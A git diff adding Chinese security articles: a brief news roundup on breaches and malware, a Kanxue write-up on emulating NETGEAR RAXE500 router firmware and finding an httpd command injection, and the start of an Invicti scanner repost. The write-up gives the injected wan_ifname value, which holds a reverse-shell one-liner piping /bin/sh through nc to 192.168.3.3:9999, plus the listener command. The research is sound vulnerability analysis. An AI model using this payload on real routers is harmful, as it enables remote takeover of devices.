+- ****据《记录报》报道，谷歌同意支付825万美元，以和解一起集体诉讼。该诉讼指控谷歌非法收集13岁以下儿童设备上的数据。两年前，六名未成年孩子的家长提起诉讼，指控他们的孩子从谷歌应用商店下载了面向儿童的应用和游戏，例如“Fun Kid Racing”、“GummyBear”和“Friends Speed Racing”。诉讼称，这些应用都预装了谷歌的AdMob软件开发工具包，该工具包大规模收集儿童数据，违反了《儿童在线隐私保护法》（COPPA）。 +- **美国一家大型银行遭遇键盘记录器攻击**——Sansec公司在美国一家大型银行的员工商品商店中发现了一个键盘记录器。该商店供该银行的20万名员工订购公司品牌商品。这家荷兰公司表示：“该恶意软件会拦截用户在网站表单中输入的所有内容：登录凭证、支付卡号和个人信息。被盗数据通过图像信标技术泄露，这是一种常见的绕过多种安全控制的技术。”目前，该恶意软件已从网站上移除。经评估，此次攻击与2024年10月绿湾包装工队官方商店遭受的网络攻击存在重叠之处，理由是两者的基础设施模式相似。 +- **“工资系统盗贼”将员工工资转入其控制的账户**——在针对一家未具名机构的新型社交工程攻击中，“工资系统盗贼”背后的攻击者通过电话联系目标机构，冒充员工操控多个服务台，成功重置密码并重新注册多重身份验证 (MFA) 设备。攻击者还被发现试图通过在客户的 Azure AD 环境中注册外部电子邮件地址作为服务帐户的身份验证方式来建立持久性。“一旦通过身份验证进入工资系统，攻击者便迅速行动，”Palo Alto Networks 42 号部门表示。“他们总共入侵了多个员工帐户，每个帐户都获得了访问敏感工资信息的权限。随后，攻击者修改了多名员工的直接存款信息，将他们的工资转入攻击者控制的银行账户。由于凭据有效且 MFA 看起来合法，因此该活动与正常运营混为一谈。直到员工报告工资丢失，该事件才被发现。” +- **一种新的攻击利用 DLL 侧加载技术传播 PDFSIDER 恶意软件**——一名身份不明的威胁行为者正在利用DLL 侧加载技术，通过与 PDF24 Creator（“pdf24.exe”）关联的合法可执行文件部署 PDFSIDER 后门程序。PDFSIDER 是一款具有加密 C2 功能的后门程序。该恶意软件主要在内存中运行，最大限度地减少了磁盘痕迹。Resecurity表示：“PDFSIDER 将传统的网络间谍行为与现代远程命令功能相结合，使操作者能够收集系统情报并秘密地远程执行 shell 命令。该恶意软件使用伪造的 cryptbase.dll 文件来绕过端点检测机制。一旦加载，该恶意软件就会为攻击者提供一个交互式的隐藏命令 shell，并通过其加密通道泄露命令输出。”该恶意软件通过鱼叉式网络钓鱼邮件传播，这些邮件会将受害者引导至邮件附件中的 ZIP 压缩文件。 Resecurity 向 The Hacker News 透露，PDFSIDER 已被用于定向攻击，攻击手段包括鱼叉式网络钓鱼和社会工程攻击。攻击者会冒充技术支持人员联系大型企业和政府机构的员工，并通过 Microsoft Teams 或 Quick Assist 等工具传播恶意软件。这家网络安全公司还表示，他们观察到麒麟勒索软件的一个关联组织正在使用该恶意软件，并预计会有更多组织效仿。目前没有证据表明该恶意软件以“恶意软件即服务”（MaaS）模式进行推广。 +## +## + + + diff --git a/doc/2026-01/NETGEAR 路由器环境模拟与漏洞分析.md b/doc/2026-01/NETGEAR 路由器环境模拟与漏洞分析.md new file mode 100644 index 00000000..85c1f516 --- /dev/null +++ b/doc/2026-01/NETGEAR 路由器环境模拟与漏洞分析.md @@ -0,0 +1,315 @@ +# NETGEAR 路由器环境模拟与漏洞分析 +易之生生 + 易之生生 看雪学苑 2026-01-20 09:59 + +**0****1** + +**环境配置** + +## 版本 :Nighthawk AX12 RAXE500 V1.2.14.114_2.0.67 + +首先 binwalk -e1 RAXE500-V1.2.14.114_2.0.67.chk 解压固件。 + +``` +# binwalk -e1 RAXE500-V1.2.14.114_2.0.67.chkDECIMAL       HEXADECIMAL     DESCRIPTION--------------------------------------------------------------------------------58            0x3A            Flattened device tree, size:969 bytes, version:171030          0x406           Flattened device tree, size:9970 bytes, version:1742870         0xA776          CRC32 polynomial table, little endian703534        0xABC2E         CRC32 polynomial table, little endianWARNING:Extractor.execute failed to run external extractor 'lzop -f -d '%e'': [Errno 2] No such file or directory:'lzop', 'lzop -f -d '%e'' might not be installed correctly761969        0xBA071         LZO compressed data836250        0xCC29A         HTML document header836500        0xCC394         HTML document footer836532        0xCC3B4         HTML document header837187        0xCC643         HTML document footer837211        0xCC65B         HTML document header838626        0xCCBE2         HTML document footer838650        0xCCBFA         HTML document header839246        0xCCE4E         HTML document footer957782        0xE9D56         Flattened device tree, size:5913 bytes, version:17963698        0xEB472         LZMA compressed data, properties:0x5D, dictionary size:8388608 bytes, uncompressed size:-1 bytes4587594       0x46004A        Flattened device tree, size:49513 bytes, version:174637110       0x46C1B6        Flattened device tree, size:49513 bytes, version:174686626       0x478322        Flattened device tree, size:47694 bytes, version:174734322       0x483D72        Flattened device tree, size:50144 bytes, version:174784466       0x490152        Flattened device tree, size:50144 bytes, version:174834610       0x49C532        Flattened device tree, size:49601 bytes, version:174884214       0x4A86F6        Flattened device tree, size:49633 bytes, version:174933850       0x4B48DA        Flattened device tree, size:49557 bytes, version:174983410       0x4C0A72        Flattened device tree, size:49677 bytes, version:175033090       0x4CCC82        Flattened device tree, size:47733 bytes, version:175080826       0x4D86FA        Flattened device tree, size:48647 bytes, version:175129474       0x4E4502        Flattened device tree, size:48802 bytes, version:175178278       0x4F03A6        Flattened device tree, size:48802 bytes, version:175227082       0x4FC24A        Flattened device tree, size:48767 bytes, version:175275850       0x5080CA        Flattened device tree, size:48767 bytes, version:175324618       0x513F4A        Flattened device tree, size:48767 bytes, version:175373386       0x51FDCA        Flattened device tree, size:50605 bytes, version:175423994       0x52C37A        Flattened device tree, size:50605 bytes, version:175474602       0x53892A        Flattened device tree, size:50412 bytes, version:175525014       0x544E16        Squashfs filesystem, little endian, version 4.0, compression:xz, size:78884152 bytes, 3245 inodes, blocksize:131072 bytes, created:2025-05-16 08:07:54 +``` + + + +进入 squashfs-root 目录,运行 sudo chroot . bin/sh 进入固件环境。 + +``` +# sudo chroot . bin/shBusyBox v1.31.1 (2025-05-16 15:16:50 CST) built-in shell (ash)Enter 'help' for a list of built-in commands.# ls -ladrwxrwxrwx   22 1000     1000          4096 May 16  2025 .drwxrwxrwx   22 1000     1000          4096 May 16  2025 ..-rw-r--r--    1 1000     1000             0 May 16  2025 .init_enable_coredrwxr-xr-x    2 1000     1000          4096 May 16  2025 bindrwxrwxr-x    3 1000     1000          4096 May 16  2025 datalrwxrwxrwx    1 1000     1000            16 May 16  2025 debug -> sys/kernel/debugdrwxrwxr-x    3 1000     1000          4096 May 16  2025 devdrwxr-xr-x   20 1000     1000          4096 May 16  2025 etcdrwxrwxr-x    3 1000     1000          4096 May 16  2025 homedrwxrwxr-x    2 1000     1000          4096 May 16  2025 includedrwxrwxr-x    6 1000     1000         20480 May 16  2025 libdrwxrwxr-x    3 1000     1000          4096 May 16  2025 lib64drwxr-xr-x    2 1000     1000          4096 May 16  2025 misc2drwxr-xr-x    2 1000     1000          4096 May 16  2025 misc3drwxrwxr-x    2 1000     1000          4096 May 16  2025 mntdrwxrwxr-x    9 1000     1000          4096 May 16  2025 optdrwxrwxr-x    2 1000     1000          4096 May 16  2025 procdrwxr-xr-x    2 1000     1000          4096 May 16  2025 sbindrwxr-xr-x    6 1000     1000          4096 May 16  2025 sharedrwxrwxr-x    3 1000     1000          4096 May 16  2025 syslrwxrwxrwx    1 1000     1000             8 May 16  2025 tmp -> /var/tmpdrwxr-xr-x   10 1000     1000          4096 May 16  2025 usrdrwxrwxr-x    2 1000     1000          4096 May 16  2025 vardrwxrwxr-x    3 1000     1000          4096 May 16  2025 websdrwxr-xr-x   11 1000     1000         32768 May 16  2025 www# +``` + + + +直接运行 usr/sbin/httpd 报错，需要根据 etc/init.d/mount-fs.sh 的脚本命令创建目录运行环境。 + +``` +# usr/sbin/httpdlibacos_debug_log build time:Feb 17 2022 18:15:22****shared_debug_log_init(82): Open shm for shm httpd_httpd_mt fail, create it.libhttpd build time:Jan 11 2024 09:55:00/tmp/shm_id opened error! +``` + + + +创建目录环境命令: + +``` +# mkdir -p /var/log /var/run /var/state/dhcp /var/ppp /var/udhcpd /var/zebra /var/siproxd /var/cache /var/tmp /var/samba /var/samba/share /var/samba/homes /var/samba/private /var/samba/locks +``` + + + +再次运行报错，需要将 /tmp/shm_id 的值修改为0: + +``` +# usr/sbin/httpdlibacos_debug_log build time:Feb 17 2022 18:15:22****shared_debug_log_init(82): Open shm for shm httpd_httpd_mt fail, create it.libhttpd build time:Jan 11 2024 09:55:00segment_id:5 , in /tmp/shm_id.Get a incorrect Segment_ID:5 and semaphore ID:-1something wrong in getting shm_id. +``` + + + +之后再次运行报错: + +``` +# usr/sbin/httpdlibacos_debug_log build time: Feb 17 2022 18:15:22****shared_debug_log_init(82): Open shm for shm httpd_httpd_mt fail, create it.libhttpd build time: Jan 11 2024 09:55:00segment_id: 0 , in /tmp/shm_id. Get a correct Segment_ID: 0 and semaphore ID:0Can't find handler for ASP command: wlg_cgi_get_isolation_status(0);Can't find handler for ASP command: wlg_cgi_get_isolation_status(1);Can't find handler for ASP command: wlg_cgi_get_isolation_status(2);Can't find handler for ASP command: genie_cgi_need_to_load_basic();Can't find handler for ASP command: guiCgiInternetStatusGetParam_XUNYOU();Can't find handler for ASP command: basic_cgi_get_cur_choice_nvram("wan_proto");Can't find handler for ASP command: eco_get_redirect_link();Can't find handler for ASP command: attached_devices_cgi_edit_name("ip")Can't find handler for ASP command: attached_devices_cgi_edit_name("mac")Can't find handler for ASP command: attached_devices_cgi_edit_name("model")Can't find handler for ASP command: attached_devices_cgi_edit_name("name")Can't find handler for ASP command: attached_devices_cgi_edit_name("type")Can't find handler for ASP command: attached_devices_cgi_edit_name("conndevice")Can't find handler for ASP command: wlg_cgi_get_isolation_status();Can't find handler for ASP command: qos_cgi_get_bandwidth("ToSet_qos_bw_uplink");Can't find handler for ASP command: qos_cgi_support_qos_down_streaming();Can't find handler for ASP command: qos_cgi_get_bandwidth("AlertMessage");Can't find handler for ASP command: qos_cgi_get_bandwidth();Can't find handler for ASP command: qos_cgi_get_mac();Can't find handler for ASP command: qos_cgi_get_custom_table();Can't find handler for ASP command: qos_cgi_get_custom_hidden_table();Can't find handler for ASP command: cdl_cgi_set_hijack(1);Can't find handler for ASP command: genie_cgi_get_client_type();Can't find handler for ASP command: 13Can't find handler for ASP command: wlh_cgi_get_5g2presetssid();Can't find handler for ASP command: genie_get_5g_2_wireless_security_key();Can't find handler for ASP command: cdl_cgi_set_hijack(0);Can't find handler for ASP command: check_is_index()Can't find handler for ASP command: gui_get_opmode_param("pre_mode");Can't find handler for ASP command: isPortTrunking("is_ptk_start");Can't find handler for ASP command: isPortTrunking("is_ptk_end");# can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!dil initis_no_boarddata():can't open file /misc2/.bd_dataadd active user:, sessionId:0x0, cookie:0usr/sbin/httpd(pid=4777) is calling shared_acos_nvram_commit:httpd: socket bound in 255.255.255.255:9443.httpd: ipv6 socket bound in 80.Can't open device file: /dev/spiv6qemu: uncaught target signal 11 (Segmentation fault) - core dumped +``` + +## + +**02****** + +**证书配置** + + +GDB 调试发现 tmp_h_c 的值为空，代码如下: + +![CERT CODE](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FMQ0OzsklkBSkZUib6mXygJcRTUJcFvLIIINQ2pTicxpoTVU7RBuw4CNicGwhqeFThcicIFATsyNN0RQ/640?wx_fmt=other&from=appmsg "") +![]( "") + + +分析代码，需要添加启动参数: /usr/sbin/httpd -E /usr/sbin/ca.pem /usr/sbin/httpsd.pem + +![CERT CODE](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FMQ0OzsklkBSkZUib6mXygJyKFgjlHdl2HSibuI2tIibdTvKK1VbwMYhjv9ec4vMibYSYM9T7FtcXZibw/640?wx_fmt=other&from=appmsg "") +![]( "") + + +再次运行提示生成证书失败: + +``` +# /usr/sbin/httpd -E /usr/sbin/ca.pem /usr/sbin/httpsd.pemlibacos_debug_log build time:Feb 17 2022 18:15:22****shared_debug_log_init(82): Open shm for shm httpd_httpd_mt fail, create it.libhttpd build time:Jan 11 2024 09:55:00Generating a RSA private keyError Generating Key1082140528:error:0E06D06C:lib(14):func(109):reason(108):NA:0:group=req name=default_bits1082140528:error:2406C06E:lib(36):func(108):reason(110):NA:0:1082140528:error:2406C06E:lib(36):func(108):reason(110):NA:0:1082140528:error:2406B072:lib(36):func(107):reason(114):NA:0:1082140528:error:2406C06E:lib(36):func(108):reason(110):NA:0:1082140528:error:2406C06E:lib(36):func(108):reason(110):NA:0:1082140528:error:2406B072:lib(36):func(107):reason(114):NA:0:1082140528:error:2406C06E:lib(36):func(108):reason(110):NA:0:1082140528:error:2406B072:lib(36):func(107):reason(114):NA:0:1082140528:error:04081003:lib(4):func(129):reason(3):NA:0: +``` + + + +查看 /dev/ 下的设备，因为没有 /dev/random 和 /dev/urandom 导致熵不足引起的，需要将主机的 dev 设备映射到固件目录: + +``` +# sudo mount -o bind /dev ./dev/ +``` + + + +再次运行就成功了 + +``` +# /usr/sbin/httpd -E /usr/sbin/ca.pem /usr/sbin/httpsd.pemlibacos_debug_log build time: Feb 17 2022 18:15:22libhttpd build time: Jan 11 2024 09:55:00Generating a RSA private key................................................+++++..............+++++writing new private key to '/tmp/h.k'-----read_board_data():can't open file /misc2/.bd_dataread_board_data():can't open file /misc2/.bd_dataread_board_data():can't open file /misc2/.bd_data/usr/sbin/httpd(pid=5128) is calling shared_acos_nvram_commit:segment_id: 0 , in /tmp/shm_id. Get a correct Segment_ID: 0 and semaphore ID:0Can't find handler for ASP command: wlg_cgi_get_isolation_status(0);Can't find handler for ASP command: wlg_cgi_get_isolation_status(1);Can't find handler for ASP command: wlg_cgi_get_isolation_status(2);Can't find handler for ASP command: genie_cgi_need_to_load_basic();Can't find handler for ASP command: guiCgiInternetStatusGetParam_XUNYOU();Can't find handler for ASP command: basic_cgi_get_cur_choice_nvram("wan_proto");Can't find handler for ASP command: eco_get_redirect_link();Can't find handler for ASP command: attached_devices_cgi_edit_name("ip")Can't find handler for ASP command: attached_devices_cgi_edit_name("mac")Can't find handler for ASP command: attached_devices_cgi_edit_name("model")Can't find handler for ASP command: attached_devices_cgi_edit_name("name")Can't find handler for ASP command: attached_devices_cgi_edit_name("type")Can't find handler for ASP command: attached_devices_cgi_edit_name("conndevice")Can't find handler for ASP command: wlg_cgi_get_isolation_status();Can't find handler for ASP command: qos_cgi_get_bandwidth("ToSet_qos_bw_uplink");Can't find handler for ASP command: qos_cgi_support_qos_down_streaming();Can't find handler for ASP command: qos_cgi_get_bandwidth("AlertMessage");Can't find handler for ASP command: qos_cgi_get_bandwidth();Can't find handler for ASP command: qos_cgi_get_mac();Can't find handler for ASP command: qos_cgi_get_custom_table();Can't find handler for ASP command: qos_cgi_get_custom_hidden_table();Can't find handler for ASP command: cdl_cgi_set_hijack(1);Can't find handler for ASP command: genie_cgi_get_client_type();Can't find handler for ASP command: 13Can't find handler for ASP command: wlh_cgi_get_5g2presetssid();Can't find handler for ASP command: genie_get_5g_2_wireless_security_key();Can't find handler for ASP command: cdl_cgi_set_hijack(0);Can't find handler for ASP command: check_is_index()Can't find handler for ASP command: gui_get_opmode_param("pre_mode");Can't find handler for ASP command: isPortTrunking("is_ptk_start");Can't find handler for ASP command: isPortTrunking("is_ptk_end");# can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!can't open mtd file!!dil initis_no_boarddata():can't open file /misc2/.bd_dataadd active user:, sessionId:0x0, cookie:0/usr/sbin/httpd(pid=5145) is calling shared_acos_nvram_commit:httpd: socket bound in 255.255.255.255:9443.httpd: ipv6 socket bound in 80.Can't open device file: /dev/spiv6cert file /tmp/h.c, key file /tmp/h.k>>> start to launch lighttpdkillall: lighttpd: no process killed2025-12-12 08:00:39: (network.c.578) bind() 0.0.0.0:443: Address already in use +``` + +## + +**03****** + +**NVRAM模拟** + + +虽然 HTTPD 的服务运行成功了，但是网页无法访问，访问的提示如下: + +``` + is_no_boarddata():can't open file /misc2/.bd_dataadd active user:, sessionId:0x0, cookie:0/usr/sbin/httpd(pid=5145) is calling shared_acos_nvram_commit:httpd: socket bound in 255.255.255.255:9443.httpd: ipv6 socket bound in 80.Can't open device file: /dev/spiv6cert file /tmp/h.c, key file /tmp/h.k>>> start to launch lighttpdkillall: lighttpd: no process killed2025-12-12 08:00:39: (network.c.578) bind() 0.0.0.0:443: Address already in use===> parse_http_request(3103) isToRouter = 0:return===> parse_http_request(3103) isToRouter = 0:return===> parse_http_request(3103) isToRouter = 0:return===> parse_http_request(3103) isToRouter = 0:return===> parse_http_request(3103) isToRouter = 0:return===> parse_http_request(3103) isToRouter = 0:return===> parse_http_request(3103) isToRouter = 0:return===> parse_http_request(3103) isToRouter = 0:return===> parse_http_request(3103) isToRouter = 0:return===> parse_http_request(3103) isToRouter = 0:return +``` + + + +对应的代码如下: + +![NVRAM CODE](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FMQ0OzsklkBSkZUib6mXygJfYGrZLDo6es6KtEjmAtKE1NsRzy6s2ibe9z0xX716B8Xzr1j4AA4Q8g/640?wx_fmt=other&from=appmsg "") +![]( "") + + +需要从 NVRAM 读取 ddns_hostname 的值，现在需要一个 nvram.ini 文件，和一个模拟 acosNvramConfig_* 的 SO。 + + +在 GITHUB 上有一个 libnvram_faker/conf/netgear/nvram.ini 的配置文件，然后通过 HOOK 来模拟以下的函数: + +![NVRAM HOOK](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FMQ0OzsklkBSkZUib6mXygJ0rAo8FsUJF63auyUMp92zRqGl0bdksk6SMm13ah7ay8S3fY98iapNHw/640?wx_fmt=other&from=appmsg "") +![]( "") + + +HOOK acosNvramConfig 的 acosNvramConfig.c 代码如下: + +``` +#include #include #include #include #include #include // 假设配置文件路径#define ROUTE_CONFIG_PATH "/tmp/route.cfg"#define MAX_LINE_LENGTH 256#define MAX_KEY_LENGTH 64#define MAX_VALUE_LENGTH 128// 函数声明char *nvm_get_value(constchar *key);char *nvm_get_value_no_alloc(constchar *key, char *buffer, size_t buffer_size);代码太长，省略... +``` + + + +/tmp/route.cfg 的配置文件如下: + +``` +fw_spi=1usb_info_dev7=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@http_server_wan_enable=0wifi_mac12=62:c0:02:11:22:33wan_fix_dns=0wifi_wep_on12=0usb_info_dev83=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@wifi_auth_type3=3wan_iptype=Dynamicusb_info_dev8=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@usb_info_dev63=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@wifi_ssid4=NETGEAR_Guest3代码太多，省略... +``` + + + +编译为 acosNvramConfig.so 后放到 lib 目录: + +``` +# arm-linux-gnueabi-gcc -shared -fPIC acosNvramConfig.c -o acosNvramConfig.so -ldl +``` + + + +需要更新 route.cfg，将 lan_ipaddr=192.168.1.1 修改为本机地址 127.0.0.1，然后运行以下命令: + +``` +# LD_PRELOAD=acosNvramConfig.so /usr/sbin/httpd -E /usr/sbin/ca.pem /usr/sbin/httpsd.pem +``` + + + +访问 http://127.0.0.1/ 提示以下错误: + +``` +Device is not authorizied! +``` + + + +报错代码如下: + +![BOARD ID](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FMQ0OzsklkBSkZUib6mXygJ9qC0p2Uv2DVJoSGBlwhBPMBDhl4AZsRKia0VrXbMtrJa6wSwIPib90fw/640?wx_fmt=other&from=appmsg "") +![]( "") + + +dword_1439FA4 的值来自 is_authorizied() 函数: + +![BOARD ID](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FMQ0OzsklkBSkZUib6mXygJfQNT0hBiaQqKepEp4K9EWU0Q0pjicInueY5zkiaa8san0FibEpSBjya9nQ/640?wx_fmt=other&from=appmsg "") +![]( "") + + +is_authorizied 函数在 libacos_nvram.so 中，代码如下: + +![BOARD ID](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FMQ0OzsklkBSkZUib6mXygJ1wibpPdWibiaFicdnUYks5NBveIyfPVHNHjy1rVJhDKvbQHq29PlS8yJng/640?wx_fmt=other&from=appmsg "") +![]( "") + + +功能是取 NVRAM 的 board_id 来与 U12H449 等做比较，搜索 U12H449 选择 U12H449T00_NETGEAR 做为 board_id: + +![BOARD ID](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FMQ0OzsklkBSkZUib6mXygJS1CCibhGN3YTU1qsHTmbf8O48ubF9KULVtbYrGtcu6egqUowxC72ylQ/640?wx_fmt=other&from=appmsg "") +![]( "") + + +更新 route.cfg 增加 board_id=U12H449T00_NETGEAR 后,访问 http://127.0.0.1/start.htm 成功，但是有时候出现不明原因的 (Segmentation fault) - core dumped: + +![START HTML](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FMQ0OzsklkBSkZUib6mXygJR6s3IaHYHFDn28K57CNicIpolpqojjaN0mtzT4k1rCFDjI2GySnE6BA/640?wx_fmt=other&from=appmsg "") +![]( "") +## + +**04****** + +**漏洞分析** + + +在访问 ipv6_disable.cgi 时，有如下的代码: + +``` +v11 = (constchar *)acosNvramConfig_get((int)"wan_ifname");snprintf(s, 0x80u, "ifconfig %s mtu %d", v11, v9);system(s); +``` + + + +从 NVRAM 中读取了 wan_ifname 的值做为 system 的参数: + +![VULNERABILITY CODE](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FMQ0OzsklkBSkZUib6mXygJSh7b2KtibuXIjQ5Etk3BG7DVA7uiaKxKibvQHPH01ibDyCBW2wPibpibDiajg/640?wx_fmt=other&from=appmsg "") +![]( "") + + +而 wan_ifname 的值可以通过 https://127.0.0.1/BAK_backup.htm 恢复备份文件的功能来设置: + + +上传文件代码如下: + +![RESTORE CODE](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FMQ0OzsklkBSkZUib6mXygJibErYadRF9mtSLdx8kNetBQmic3tujjUFnT4hR7oBl0HC3Via0PGiaHTBQ/640?wx_fmt=other&from=appmsg "") +![]( "") + + +![RESTORE CODE](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FMQ0OzsklkBSkZUib6mXygJOFjfQwVc967vAoY5obtTVasuO0H4uiaDAVaqczQUyyOY2WibhlT7pPqQ/640?wx_fmt=other&from=appmsg "") +![]( "") + + +libacos_nvram.so 的 shared_acos_nvram_restore_configuration 代码如下: + +![RESTORE CODE](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FMQ0OzsklkBSkZUib6mXygJUkjl3iaeU1ibFaIXlRh528BVuczPlJINa9CJ9KFuGzfrFTq3A1bjn50w/640?wx_fmt=other&from=appmsg "") +![]( "") + + +恢复配置代码只是一个简单的 CP。 + + +修改 route.cfg 文件的 wan_ifname=eth0&rm /tmp/f 2>/dev/null; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.3.3 9999 > /tmp/f& 进行测试， + + +打开监听端口9999: + +``` +# nc -lvvp 9999Listening on 0.0.0.0 9999 +``` + + + +打开 https://127.0.0.1/IPV6_disable.htm 页面 , 点击 Apply 按钮 ， 就获取到了反弹SHELL: + +![IPV6 DISABLE](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FMQ0OzsklkBSkZUib6mXygJwTe8wMswXUQeRGicZ0PXcNE1VdjuKnsT6QIAaia4Pvq7DnLI6N6f6PYg/640?wx_fmt=other&from=appmsg "") + +![]( "") + +![REVERSE SHELL](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FMQ0OzsklkBSkZUib6mXygJG0gzib9bOXU92tic0TLas5qcibaVnPxo4FYWBbQSgbhCX55MaB3SibbKUw/640?wx_fmt=other&from=appmsg "") +![]( "") +# + +## + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8FOwWf0VFibBZVeDCDEe0mUBRUAjOv8rkV7AZIg81aM7cUyMtSZ5g0JyIp2g2gvcicLDJmgpjsHZcOw/640?wx_fmt=png&from=appmsg "") + + +看雪ID： +易之生生 + +https://bbs.kanxue.com/user-home-920134.htm + +*本文为看雪论坛精华文章，由  +易之生生 +  +原创，转载请注明来自看雪社区 + +[](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458605280&idx=3&sn=b862b079ee38c0e9607690b0574930dc&scene=21#wechat_redirect) + + + +# 往期推荐 + +[逆向分析某手游基于异常的内存保护](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458607141&idx=1&sn=4bbcad4c23989173b834046f8852b3b4&scene=21#wechat_redirect) + + +[解决Il2cppapi混淆，通杀DumpUnityCs文件](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458606965&idx=1&sn=bf8987b5c86314edd0d5a4a5dd0189dd&scene=21#wechat_redirect) + + +[记录一次Unity加固的探索与实现](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458606979&idx=1&sn=e9fdec9d0ff5c4ede515dc302011b74a&scene=21#wechat_redirect) + + +[DLINK路由器命令注入漏洞从1DAY到0DAY](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458606963&idx=2&sn=c7265f29dd183dd2b5789254e8d3d979&scene=21#wechat_redirect) + + +[量子安全 quantum ctf Global Hyperlink Zone Hack the box](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458606863&idx=1&sn=01fd80bfa67b7c7b26254022f0d11e81&scene=21#wechat_redirect) + + +![图片](https://mmbiz.qpic.cn/mmbiz_jpg/Uia4617poZXP96fGaMPXib13V1bJ52yHq9ycD9Zv3WhiaRb2rKV6wghrNa4VyFR2wibBVNfZt3M5IuUiauQGHvxhQrA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ/640?wx_fmt=gif&from=appmsg "") + +**球分享** + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ/640?wx_fmt=gif&from=appmsg "") + +**球点赞** + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ/640?wx_fmt=gif&from=appmsg "") + +**球在看** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpUHZDmkBpJ4khdIdVhiaSyOkxtAWuxJuTAs8aXISicVVUbxX09b1IWK0g/640?wx_fmt=gif&from=appmsg "") + +点击阅读原文查看更多 + diff --git a/doc/2026-01/WEB漏洞扫描器（新增企业版）Invicti-Professional-V26.10.0（自动化爬虫扫描漏洞）更新.md b/doc/2026-01/WEB漏洞扫描器（新增企业版）Invicti-Professional-V26.10.0（自动化爬虫扫描漏洞）更新.md new file mode 100644 index 00000000..7885d6fa --- /dev/null +++ b/doc/2026-01/WEB漏洞扫描器（新增企业版）Invicti-Professional-V26.10.0（自动化爬虫扫描漏洞）更新.md @@ -0,0 +1,274 @@ +# WEB漏洞扫描器（新增企业版）Invicti-Professional-V26.10.0（自动化爬虫扫描漏洞）更新 +原创 城北 + 城北 渗透安全HackTwo 2026-01-20 16:00 + +前言 + +**Invicti 专业 Web 应用程序安全扫描器** + +自动、极其准确且易于使用的 Web 应用程序安全扫描程序，可自动查找网站、Web 应用程序和 Web 服务中的安全漏洞。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq5EOjNAdfFHywrcHWTuSFjfVjicrbicEhXH7sia8vkR4mj6YGyzv7a9XToVzI0icD0AicJUHVnmJzBDKicA/640?wx_fmt=png&from=appmsg "") + +Invicti Professional Edition 是一款商业 Web 应用程序安全扫描器。它旨在自动查找和修复 Web 应用程序中的 SQL 注入、跨站脚本 (XSS) 和跨站请求伪造 (CSRF) 等漏洞。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq7HMtibJc6mxaz1McHOW3YhsTlSrxzib7oEANX8ic4BrO2iat2Dib41LYBdWDgmTVB77uyUKC7AmiaicAw5Q/640?wx_fmt=png&from=appmsg "") + +它可以扫描托管在各种平台上的 Web 应用程序，包括 Windows、Linux 和 macOS。它提供了一系列功能来帮助开发人员和安全专业人员识别和修复其 Web 应用程序中的漏洞，包括可以识别各种漏洞的自动扫描程序，以及允许用户手动测试漏洞的手动测试工具。它可以作为独立产品或云服务提供。 + 